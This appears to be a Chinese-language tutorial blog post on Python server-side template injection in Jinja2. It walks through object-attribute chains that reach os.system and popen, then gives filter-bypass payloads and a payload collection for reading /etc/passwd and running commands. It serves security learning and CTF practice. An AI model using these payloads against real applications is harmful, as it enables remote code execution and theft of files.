Python 模板注入(SSTI) 初探
ssti漏洞成因
SSTI全称是服务端模板注入攻击(Server-Side Template Injection),众所周知,很多web开发框架使用模板的来提高开发效率,但是也因此造成了一些安全问题,由于配置代码不规范或信任了用户输入的数据导致模板可控甚至RCE。
前置知识
在Python的ssti中,大部分是根据 基类–>子类–>危险函数 的过程来利用ssti。
首先介绍一些特殊的属性、方法:__bases__
:Python 为所有类都提供了一个 __bases__
属性,通过该属性可以查看该类的所有基类,该属性返回所有基类组成的元组。注:类的实例是没有__bases__
属性的
1 | In [20]: class Class: |
__base__
:以字符串的形式返回一个类的基类。
1 | In [20]: class Class: |
__class__
:Python中一切皆对象,__class__
属性用于返回该对象所属的类,实例通过类属性就可以调用类的方法。
1 | In [34]: "".__class__ |
__mro__
:Python 类有多继承特性,如果继承关系太复杂,很难看出会先调用那个属性或方法。为了方便且快速地看清继承关系和顺序,可以用__mro__
方法来获取这个类的调用顺序
1 | In [56]: Class.__class__.__mro__ |
__subclasses__()
: 函数获取类的所有子类。(返回一个列表)
1 | In [5]: "".__class__.__bases__[0].__subclasses__() |
__init__
: 此方法为类的初始化方法。当构造函数被调用的时候的任何参数都将会传给它。(比如如果我们调用 x = SomeClass(10, 'foo')
),那么 __init__
将会得到两个参数10和foo。所有自带类都包含__init__
方法,可以利用他当跳板来调用__globals__
。
__globals__
: 对保存函数的全局变量的字典的引用——定义函数的模块的全局命名空间。常用于获取function所处空间下可使用的module、方法以及所有变量。
__getitem__
: 使用索引访问元素,通常用于过滤[]
的情况。
1 | In [35]: '123abc'.__getitem__(0) |
过waf时还可能会用到__getattribute__
、__builtins__
、__import__
。
ssti 利用过程
通常,存在模板注入的地方都是可以直接输出的位置,可以传入56
这种表达式,来查看输出时括号中内容是否执行。当然最终的目的肯定是RCE或者ORW。
第一步当然是想办法找到超类object
,这里我以字符串变量为例:先是利用__class__
找到字符串所属的类str,然后再利用__bases__
或者__mro__
来找到str的基类也就是object
1 | In [37]: "ssti".__class__ |
接下来获取object
类的所有子类,找到能够读些文件或者执行系统命令的类。
1 | In [43]: "ssti".__class__.__bases__[0].__subclasses__() |
子类数量比较多,在这里我写一个小脚本来帮助我们寻找可用的类。
1 | lst = "ssti".__class__.__bases__[0].__subclasses__() |
找到os的索引是127之后我们再次利用__init__.__globals__
来寻找是否存在可利用的函数或者模块,一般情况下这个输出内容较多
1 | In [46]: "ssti".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__ |
在这里我发现了可以直接调用system函数来执行命令:
1 | In [51]: "ssti".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__["system"] |
或利用popen:
1 | In [57]: "ssti".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__["popen"]("whoami").read() |
Bypass
若.
也被过滤,使用原生JinJa2函数|attr()
将request.__class__
改成request|attr("__class__")
过滤中括号 []
使用__getitem__
来绕过
1 | In [61]: "ssti".__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(127).__init__.__globals__["popen"]("whoami").read() |
过滤引号
可用jinjia2中默认存在的对象request来绕过
1 | {{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os |
还可以利用chr函数,步骤是获取chr函数然后赋值给chr,下面就可以直接调用了
1 | {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }} |
过滤双下划线
也可以利用request
1 | {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__ |
关键字过滤
可用字符串拼接或者字符串内置的方法
1 | In [70]: "ssti".__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(127).__init__.__globals__["sys"+"tem"] |
或者
1 | {{request['__cl'+'ass__'].__mro__[12]}} |
1 | {{session['__cla'+'ss__'].__mro__[12]}} |
字符串内置方法,如replace、decode等等。
1 | ['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill'] |
1 | In [72]: "ssti".__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(127).__init__.__globals__["123tem".replace('123','sys')] |
同时绕过下划线、与中括号
1 | {{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')|attr(request.values.name5)()}} |
payload 收集
获取基类object
1 | ''.__class__.__mro__[2] |
文件操作
1 | object.__subclasses__()[40] 为file类,所以可以对文件进行操作 |
执行命令
object.__subclasses__()[59].__init__.func_globals.linecache
下有os类,可以直接执行命令:
1 | object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read() |
object.__subclasses__()[59].__init__.__globals__.__builtins__
下有eval,import等的全局函数,可以利用此来执行命令:
1 | object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") |